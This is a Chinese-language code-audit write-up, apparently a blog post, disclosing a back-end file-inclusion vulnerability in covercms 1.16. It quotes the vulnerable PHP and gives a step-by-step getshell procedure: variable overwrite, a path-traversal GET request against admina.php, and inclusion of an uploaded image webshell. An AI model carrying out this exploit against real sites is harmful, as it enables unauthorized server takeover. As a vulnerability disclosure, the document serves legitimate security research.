0x00 环境介绍

CMS名称: covercms

运行环境: php 5.6.27-nts + apache + mysql

系统版本: 1.16

漏洞等级:高危

漏洞简介: 后台awnotas.inc.php文件,在包含文件时候未过滤变量直接包含,可利用变量覆盖的方式达到任意文件包含以getshell。

0x01 漏洞详情

文件位置:  /admina/awnotas.inc.php ,位置21行,代码缩减了一部分便于我们分析

$chids = array();
foreach($channels as $chid => $channel){ //
if(@$commus[$channel['cuid']]['cclass'] == 'answer'){ //必须满足这里,否则下面会直接退出
$chids[] = $chid;
$commu = read_cache('commu',$channel['cuid']);
if(!empty($commu['setting']['nota'])) $notaenabled = 1;
}
} empty($chids) && amessage('undefanswerchannel'); //如果不满足会直接退出,覆盖不了
empty($notaenabled) && amessage('notaclose'); //$notaenabled变量可以用覆盖的方式 绕过此处判断
$page = !empty($page) ? max(1, intval($page)) : 1;
submitcheck('bfilter') && $page = 1;
if($action == 'awnotasedit'){ //这里 //注入后getshell
//分析页面设置
$nauid = empty($nauid) ? 0 : $nauid; //不设置nauid
if($nauid && $aurl = read_cache('aurl',$nauid)){ //绕过 $u_tplname 被覆盖 $u_tplname=../../robots.txt
$u_tplname = $aurl['tplname'];
foreach(array('lists',) as $var) if($aurl['setting'][$var] !== '') ${'u_'.$var} = explode(',',$aurl['setting'][$var]);
}
...
if(!submitcheck('barcsedit')){ //令这里为false 直接不设置barcsedit变量
if(empty($u_tplname)){
...
}else @include(M_ROOT."./adminp/admina/$u_tplname");//直接包含 上传图片马,getshell

分析代码之后,发现只需要增加一个答疑的channels,覆盖两个变量,便可以通过上传图片马,包含图片马的方式直接getshell。(增加一个答疑channels是必须的,否则代码执行不下去)

操作步骤:

1,登陆后台

2,增加一个答疑的channels。

访问 http://www.target.com/admina.php?entry=channels&action=channeledit

点击添加,特俗交互项目选择答疑,模式名称随便填

3,发送如下请求,包含robots.txt为例

GET /admina.php?entry=awnotas&action=awnotasedit&notaenabled=1&u_tplname=../../robots.txt HTTP/1.1
Host: www.covercms.cc
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: XPl_userauth=K6SSDCFuMWj6DF2NCB1UiFz9XImRQxVy6bieNTxDczuI7qWaNjsx8jf%2B; bktm_cookie_9=0; bktm_cookie_8=0; bktm_cookie_7=0; bktm_cookie_6=0; bktm_cookie_5=0; bktm_cookie_4=0; bktm_cookie_3=0; bktm_cookie_2=0; bktm_cookie_1=0; bktm_cookie_0=0; XPl_msid=H3pK4A
Connection: close

成功包含

4,上传一个图片马,包含图片马,直接getshell。(直接修改附件增加php后缀是不行的)

因为后台文件上传默认要大于1024k ,所以文件需要大一点。

或者直接修改最小上传限制为0即可

上传成功后会返回图片路径

配合之前的请求,修改一下路径,即可包含getshell。

 

0x02 总结与思考

配合我之前发的文章,就是一套带走了。

本文章仅用于学习研究之用,请勿用于违法犯罪!!

[代码审计]covercms 后台getshell的更多相关文章

  1. 【代码审计】后台Getshell的两种常规姿势

    0x00 前言 在早些年刚接触web安全的时候,基础套路都是找注入--找后台--找上传点--找数据库备份--Getshell,然而在代码审计的角度,也存在类似的基本操作. 这里结合代码实例介绍白盒Ge ...

  2. 极致CMS建站系统后台GETSHELL

    起因 正在学习代码审计 看到有人提交了一个注入https://www.cnvd.org.cn/flaw/show/CNVD-2019-42775 想试试看还有没有别的漏洞 受影响版本 v1.6.3 - ...

  3. 16.Tomcat弱口令 && 后台getshell漏洞

    Tomcat7+ 弱口令 && 后台getshell漏洞 Tomcat版本:8.0 环境说明 Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下.其中, ...

  4. phpmyadmin4.8.1后台getshell

    phpmyadmin4.8.1后台getshell 包含文件进行getshell 姿势: ① 建立数据库的,新建表,字段名为一句话木马. 会生成对应的数据库文件,相应文件的路径查看 select @@ ...

  5. 帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)

    帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086) 一.漏洞描述 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过 ...

  6. 网站后台getshell

    phpmyadmin后台Getshell 获取 web 绝对路径 select @@basedir; 检测是否有写入权限 show global variables like 'secure%' ## ...

  7. 【漏洞复现】PHPmyadmin 4.8.1后台Getshell新姿势

    原文地址:https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog 早上看到群里在讨论一个新姿势,phpmyadmin后台getshell,不同于以往需要知道 ...

  8. Tomcat口令暴力猜解&&后台getshell

    Tomcat环境搭建 windows系统xampp搭建tomcat linux yum搭建tomcat 修改tomcat目录下的conf/tomcat-users.xml文件开启管理后台口令认证 &l ...

  9. Opencart 后台getshell

    朋友实战中遇到的,帮忙看后台getshell. 修改日志文件,但是奈何找不到warning这类等级的错误,没办法控制写入的内容,通过sql报错能写入了,但是尖括号却会被实体,使用16进制一样会实体.. ...

随机推荐

  1. vmware:Could not open /dev/vmmon: No such file or directory.

    Q: Could not open /dev/vmmon: No such file or directory. Please make sure that the kernel module `vm ...

  2. debian8.4 ubuntu14.04双系统_debian8.4硬盘安装

    本文根据官网说明和实际安装而写,利在分享知识,但转载请注明出处以尊重知识! 一 首先在win7下利用EasyBCD添加安装选项,“添加新条目|安装|配置” 在弹出的memu.lst中填写如下内容: t ...

  3. 国内k8s集群部署的几种方式

    版权声明:本文为博主原创文章,未经博主允许不得转载. https://blog.csdn.net/lusyoe/article/details/80217291前言总所周知,由于某种原因,通过官方的方 ...

  4. python爬虫 Scrapy2-- 爬取豆瓣电影TOP250

    sklearn实战-乳腺癌细胞数据挖掘(博主亲自录制视频) https://study.163.com/course/introduction.htm?courseId=1005269003& ...

  5. dynamic

    dynamic的特性很多,好像和反射也有关,不过这里先介绍一个特性,关于反射的再补充. 我们来看一个方法: public virtual ActionResult Insert(T info) 有一个 ...

  6. Nginx ab压力测试

    20-ab压力测试及nginx性能统计模块 优化的启发,打开的文件太多 Nginx 错误日志显示,打开文件数太多 系统层面 more /proc/sys/net/core/somaxconn 单个Ng ...

  7. 【原创】backbone1.1.0源码解析之Model

    趁热打铁,将Backbone.Model的源代码注释也发出来. Model是用来干嘛的?写过mvc的同学应该都知道,说白了就是model实例用来存储数据表中的一行数据(row) Backbone利用m ...

  8. Raid 磁盘阵列

    raid 原理与区别 raid0至少2块硬盘.吞吐量大,性能好,同时读写,但损坏一个就完蛋 raid1至少2块硬盘.相当镜像,一个存储,一个备份.安全性比较高.但是性能比0弱 raid5至少3块硬盘. ...

  9. requests下载文件并重新上传

    import re import requests from io import BytesIO from django.core.files.uploadedfile import InMemory ...

  10. WEB开发常用软件集合

    软件 dreamweaver cs6 http://www.cr173.com/soft/74348.html navicat http://pan.baidu.com/s/1b9nNzw subli ...